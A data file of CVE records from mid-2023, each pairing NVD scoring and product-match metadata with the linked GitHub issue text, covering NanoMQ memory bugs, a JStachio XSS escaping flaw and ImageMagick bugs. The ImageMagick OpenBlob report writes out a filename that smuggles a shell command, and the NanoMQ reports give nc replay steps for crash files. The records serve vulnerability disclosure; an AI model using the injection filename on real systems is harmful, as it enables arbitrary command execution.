"matchCriteriaId": "0FED842A-1A04-434A-ACE8-901295325FD4",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"347"
] | 347 | https://github.com/moov-io/signedxml/issues/23 | [
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"moov-io",
"signedxml"
] | I would like to report a potentially critical security vulnerability, however I couldn't find a way to contact you. Could you please provide contact details? | Critical security vulnerability | https://api.github.com/repos/moov-io/signedxml/issues/23/comments | 12 | 2023-01-18T12:39:52Z | 2023-04-21T20:58:46Z | https://github.com/moov-io/signedxml/issues/23 | 1,537,934,069 | 23 | 5,207 |
CVE-2023-33656 | 2023-05-30T18:15:10.383 | A memory leak vulnerability exists in NanoMQ 0.17.2. The vulnerability is located in the file message.c. An attacker could exploit this vulnerability to cause a denial of service attack by causing the program to consume all available memory resources. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Mailing List"
],
"url": "https://github.com/emqx/nanomq/issues/1164"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/emqx/nanomq/issues/1165#issuecomment-1515667127"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Mailing List"
],
"url": "https://github.com/emqx/nanomq/issues/1164"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/emqx/nanomq/issues/1165#issuecomment-1515667127"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emqx:nanomq:0.17.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0898CABA-5930-437A-8300-4D91648091F1",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"770"
] | 770 | https://github.com/emqx/nanomq/issues/1164 | [
"Exploit",
"Mailing List"
] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
您好,我们在NanoMQ当前版本中还发现了一项内存泄露,以下为详细漏洞信息以供开发人员参考。
School of Cyber Science and Technology, Shandong University
**Expected behavior**
如果在编译时启用 ASAN,NanoMQ 会崩溃并显示 ASAN 信息。

**To Reproduce**
1. start nanomq with ./nanomq start
2. Send the packet:nc 127.0.0.1 1883 < ./leak.raw
3. NanoMQ crashes
[leak1.zip](https://github.com/emqx/nanomq/files/11234045/leak1.zip)
** Environment Details **
- NanoMQ version:master branch version commit #8c54cd7
- Operating system and version:Ubuntu 20.04
- Compiler and language used:gcc 9.4.0 clang 10.0.0
- testing scenario
| potential memleak | https://api.github.com/repos/nanomq/nanomq/issues/1164/comments | 2 | 2023-04-14T14:46:47Z | 2023-04-15T07:50:40Z | https://github.com/nanomq/nanomq/issues/1164 | 1,668,392,801 | 1,164 | 5,208 |
CVE-2023-33656 | 2023-05-30T18:15:10.383 | A memory leak vulnerability exists in NanoMQ 0.17.2. The vulnerability is located in the file message.c. An attacker could exploit this vulnerability to cause a denial of service attack by causing the program to consume all available memory resources. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Mailing List"
],
"url": "https://github.com/emqx/nanomq/issues/1164"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/emqx/nanomq/issues/1165#issuecomment-1515667127"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Mailing List"
],
"url": "https://github.com/emqx/nanomq/issues/1164"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/emqx/nanomq/issues/1165#issuecomment-1515667127"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emqx:nanomq:0.17.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0898CABA-5930-437A-8300-4D91648091F1",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"770"
] | 770 | https://github.com/emqx/nanomq/issues/1165#issuecomment-1515667127 | [
"Exploit",
"Vendor Advisory"
] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
Our team (School of Cyber Science and Technology, Shandong University)have found the a potential issue in the current version of nanomq,it may cause heap-use-after-free when it handles the publish messages
**Expected behavior**
We use ASAN to compile the target server, and when we send a large number of malformed data packets to it, it may crash and output the following information :

the Call stack information is:

**Actual Behavior**
Describe what occurred.
**To Reproduce**
we will provide the POC below to the developer for validation:
[heap-use-after-free-poc.zip](https://github.com/emqx/nanomq/files/11235468/heap-use-after-free-poc.zip)
** Environment Details **
- NanoMQ version master branch version commit #8c54cd7
- Operating system and version Ubuntu 20.04
- Compiler and language used gcc 9.4.0 clang 10.0.0
- testing scenario
start nanomq with ./nanomq start
Send the packet:nc 127.0.0.1 1883 < heap-use-after-free-poc(Repeat multiple times)
util cause NanoMQ crashes
**Additional context**
To trigger the issue, it is necessary to continuously replay the poc multiple times until nanomq crashes,it may need 2 - 15 times
| [Security]: wrong protocol name & data racing | https://api.github.com/repos/nanomq/nanomq/issues/1165/comments | 13 | 2023-04-14T17:23:19Z | 2023-04-25T10:06:34Z | https://github.com/nanomq/nanomq/issues/1165 | 1,668,648,319 | 1,165 | 5,209 |
CVE-2023-33962 | 2023-05-30T22:15:10.933 | JStachio is a type-safe Java Mustache templating engine. Prior to version 1.0.1, JStachio fails to escape single quotes `'` in HTML, allowing an attacker to inject malicious code. This vulnerability can be exploited by an attacker to execute arbitrary JavaScript code in the context of other users visiting pages that use this template engine. This can lead to various consequences, including session hijacking, defacement of web pages, theft of sensitive information, or even the propagation of malware.
Version 1.0.1 contains a patch for this issue. To mitigate this vulnerability, the template engine should properly escape special characters, including single quotes. Common practice is to escape `'` as `'`. As a workaround, users can avoid this issue by using only double quotes `"` for HTML attributes. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/jstachio/jstachio/commit/7b2f78377d1284df14c580be762a25af5f8dcd66"
},
{
"source": "security-advisories@github.com",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/jstachio/jstachio/issues/157"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/jstachio/jstachio/pull/158"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/jstachio/jstachio/releases/tag/v1.0.1"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jstachio/jstachio/security/advisories/GHSA-gwxv-jv83-6qjr"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/jstachio/jstachio/commit/7b2f78377d1284df14c580be762a25af5f8dcd66"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/jstachio/jstachio/issues/157"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/jstachio/jstachio/pull/158"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes"
],
"url": "https://github.com/jstachio/jstachio/releases/tag/v1.0.1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jstachio/jstachio/security/advisories/GHSA-gwxv-jv83-6qjr"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jstachio_project:jstachio:*:*:*:*:*:*:*:*",
"matchCriteriaId": "D70C741E-647E-400A-AB8D-FCFEAE5393C0",
"versionEndExcluding": "1.0.1",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/jstachio/jstachio/issues/157 | [
"Issue Tracking",
"Patch"
] | github.com | [
"jstachio",
"jstachio"
] | The spec compliant escaping is probably unrealistic and not safe enough.
Backtick for example and equal are not escaped. The apostrophe missing is especially bad and an accident.
-----
EDIT if you are wondering how in the world someone could miss `'` for escaping HTML... you are in good company.
The TL;DR is originally the escaping code was [my own code for XML element content](https://github.com/agentgt/jatl/blob/master/src/main/java/com/googlecode/jatl/MarkupUtils.java) (yes that code is ancient but 10-15 years ago it was thought XHTML would win over HTML5 so XML escaping was preferred) as the plan was to somehow provide different escaping for attribute vs element as well as XML vs HTML.
The original Mustache spec only expected
* `"`
* `&`
* `<`
* `>`
But this is obviously not exhaustive for HTML as apostrophe is required unlike XML. I knew this and had planned on offering two escapers for JStachio as well as a lambda for attribute escaping.
I also knew apostrophe representation as an entity can be done in several ways and I had mentally thought about providing an option for that (eg &#39; vs &#x27; vs the nasty &apos;).
Fast forward many months with some refactoring / API redesign I somehow ended up with just the XML element content escaping with no single quote aka apostrophe escaping.
* <code>`</code>
* `'`
* `=`
@casid luckily saw the issue and reported and now we have a potential CVE (or at least requested). They didn't say what it was initially (as you should not in a bug) but I eventually deduced as that was one of the greatest features of JStachio is by nature of compiling it is generally very secure from lots of other attack points. So it was either file path stuff (e.g. `../../`) or escaping.
So yeah one of the bigger more embarrassing mistakes in my career/life as developer. I tried so hard to make sure 1.0.0 was solid did not have issues and here were are with basic XSS insecurity.
Going forward I will turn on as much checking as I can like adding Sonar, and CodeQL.
Thank you @casid for finding this. | More aggressive escaping | https://api.github.com/repos/jstachio/jstachio/issues/157/comments | 1 | 2023-05-28T17:07:43Z | 2023-05-29T13:06:59Z | https://github.com/jstachio/jstachio/issues/157 | 1,729,570,637 | 157 | 5,210 |
CVE-2023-34151 | 2023-05-30T22:15:11.000 | A vulnerability was found in ImageMagick. This security flaw ouccers as an undefined behaviors of casting double to size_t in svg, mvg and other coders (recurring bugs of CVE-2022-32546). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "secalert@redhat.com",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-34151"
},
{
"source": "secalert@redhat.com",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2210657"
},
{
"source": "secalert@redhat.com",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/6341"
},
{
"source": "secalert@redhat.com",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2024/02/msg00007.html"
},
{
"source": "secalert@redhat.com",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4UFQJCYJ23HWHNDOVKBHZQ7HCXXL6MM3/"
},
{
"source": "secalert@redhat.com",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V2ZUHZXQ2C3JZYKPW4XHCMVVL467MA2V/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-34151"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2210657"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/6341"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2024/02/msg00007.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4UFQJCYJ23HWHNDOVKBHZQ7HCXXL6MM3/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V2ZUHZXQ2C3JZYKPW4XHCMVVL467MA2V/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*",
"matchCriteriaId": "D8F0FD9E-E120-4BAB-A5C9-776077B47603",
"versionEndExcluding": "7.1.1-11",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fedoraproject:extra_packages_for_enterprise_linux:8.0:*:*:*:*:*:*:*",
"matchCriteriaId": "BB176AC3-3CDA-4DDA-9089-C67B2F73AA62",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*",
"matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*",
"matchCriteriaId": "CC559B26-5DFC-4B7A-A27C-B77DE755DFF9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*",
"matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"190"
] | 190 | https://github.com/ImageMagick/ImageMagick/issues/6341 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### ImageMagick version
7.1.30-0
### Operating system
Linux
### Operating system, version and so on
Any
### Description
While reviewing historical vulnerabilities, I discovered several similar bugs just like issue #4985 which was later assigned CVE-2022-32546.
The original vulnerability relates to casting a width/height value in `double` to `size_t` or `unsigned long`, which denotes columns/rows number in pixels. The issue concerns about PCL format, and the fix (#4986 ) was about PCL only.
However, with a CodeQL rule, I am able to find almost the same issues in several other readers `ReadXXXImage` functions, like CAPTION, EMF, LABEL, MVG, PS, PS2, PS3, SVG, WMF. It was easy to construct sample mvg and svg files to trigger these bugs, as shown below.
### Steps to Reproduce
#### Prerequisite
configure ImageMagick with UBSAN. If compiled with gcc, specifically turn on `flow-cast-overflow`:
```bash
./configure CFLAGS='-g -fsanitize=address,undefined,float-cast-overflow -fsanitize-recover=address,undefined,float-cast-overflow' LDFLAGS='-fsanitize=address,undefined,float-cast-overflow -lasan -lubsan'
```
#### Trigger
Use the malformed sample files in the attached zip. The following commands demonstrates the bugs.
```bash
/data/home/fullwaywang/exp
➜ magick identify bitcoin.svg
coders/svg.c:2829:38: runtime error: 5e+24 is outside the range of representable values of type 'long unsigned int'
bitcoin.svg SVG 0x234 0x234+0+0 16-bit sRGB 19056B 0.010u 0:00.015
/data/home/fullwaywang/exp
➜ magick identify mvg:piechart.mvg
coders/mvg.c:180:33: runtime error: 5e+26 is outside the range of representable values of type 'long unsigned int'
identify: MustSpecifyImageSize `piechart.mvg' @ error/mvg.c/ReadMVGImage/186.
```
### Images
[samples.zip](https://github.com/ImageMagick/ImageMagick/files/11497437/samples.zip)
### Reporter
fullwaywang | Undefined behaviors of casting `double` to `size_t` in svg, mvg and other coders (recurring bugs of CVE-2022-32546) | https://api.github.com/repos/ImageMagick/ImageMagick/issues/6341/comments | 32 | 2023-05-17T11:25:22Z | 2024-05-13T17:50:37Z | https://github.com/ImageMagick/ImageMagick/issues/6341 | 1,713,682,055 | 6,341 | 5,211 |
CVE-2023-34152 | 2023-05-30T22:15:11.070 | A vulnerability was found in ImageMagick. This security flaw cause a remote code execution vulnerability in OpenBlob with --enable-pipes configured. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "secalert@redhat.com",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-34152"
},
{
"source": "secalert@redhat.com",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2210659"
},
{
"source": "secalert@redhat.com",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/6339"
},
{
"source": "secalert@redhat.com",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4UFQJCYJ23HWHNDOVKBHZQ7HCXXL6MM3/"
},
{
"source": "secalert@redhat.com",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V2ZUHZXQ2C3JZYKPW4XHCMVVL467MA2V/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-34152"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2210659"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/6339"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4UFQJCYJ23HWHNDOVKBHZQ7HCXXL6MM3/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V2ZUHZXQ2C3JZYKPW4XHCMVVL467MA2V/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*",
"matchCriteriaId": "D8F0FD9E-E120-4BAB-A5C9-776077B47603",
"versionEndExcluding": "7.1.1-11",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fedoraproject:extra_packages_for_enterprise_linux:8.0:*:*:*:*:*:*:*",
"matchCriteriaId": "BB176AC3-3CDA-4DDA-9089-C67B2F73AA62",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*",
"matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*",
"matchCriteriaId": "CC559B26-5DFC-4B7A-A27C-B77DE755DFF9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*",
"matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"78"
] | 78 | https://github.com/ImageMagick/ImageMagick/issues/6339 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### ImageMagick version
6.9.6-4
### Operating system
Linux
### Operating system, version and so on
Any
### Description
While reviewing historical vulnerabilities, I discovered an aribitary code execution vulnerability (shell command injection) in `OpenBlob`, which is actually an incomplete fix to CVE-2016-5118.
CVE-2016-5118 showed that opening any image file whose name starts with a '|' character, ImageMagick will `popen` the remaining part of the file name. As a fix, commit [ca430ff](https://github.com/ImageMagick/ImageMagick/commit/ca430ff77794980941ff0fa0d2fc463b50c2c6b7) add a configure option `--enable-pipes` to specially turn on the support of pipes; and in commit 40639d1, the invocation of `SanitizeString` is added before `popen_utf8` the filename to suppress aribitary command execution.
However, `SanitizeString` only filters out characters like single quotes but not `` ` `` or `"`. This allows shell command injection through malformed file name.
### Steps to Reproduce
#### Prerequisite
Configure ImageMagick with `./configure --enable-pipes`
#### Trigger
Given a normal image file, namely smile.gif, the following triggers the vulnerability:
```bash
/data/home/fullwaywang/exp
➜ echo deadbeef > test.txt
/data/home/fullwaywang/exp
➜ cp smile.gif '|smile"`cat test.txt > leak.txt`".gif'
/data/home/fullwaywang/exp
➜ magick identify '|smile"`cat test.txt > leak.txt`".gif'
sh: smile.gif: command not found
identify: ImproperImageHeader `/tmp/magick-UMqIH3bRZ6v-thgCZxEUhVyYUdKapEiV' @ error/gif.c/ReadGIFImage/1027.
/data/home/fullwaywang/exp
➜ cat leak.txt
deadbeef
```
### Images
_No response_
### Reporter
fullwaywang | RCE (shell command injection) vulnerability in `OpenBlob` with `--enable-pipes` configured | https://api.github.com/repos/ImageMagick/ImageMagick/issues/6339/comments | 11 | 2023-05-17T09:47:04Z | 2024-11-08T13:49:11Z | https://github.com/ImageMagick/ImageMagick/issues/6339 | 1,713,528,731 | 6,339 | 5,212 |
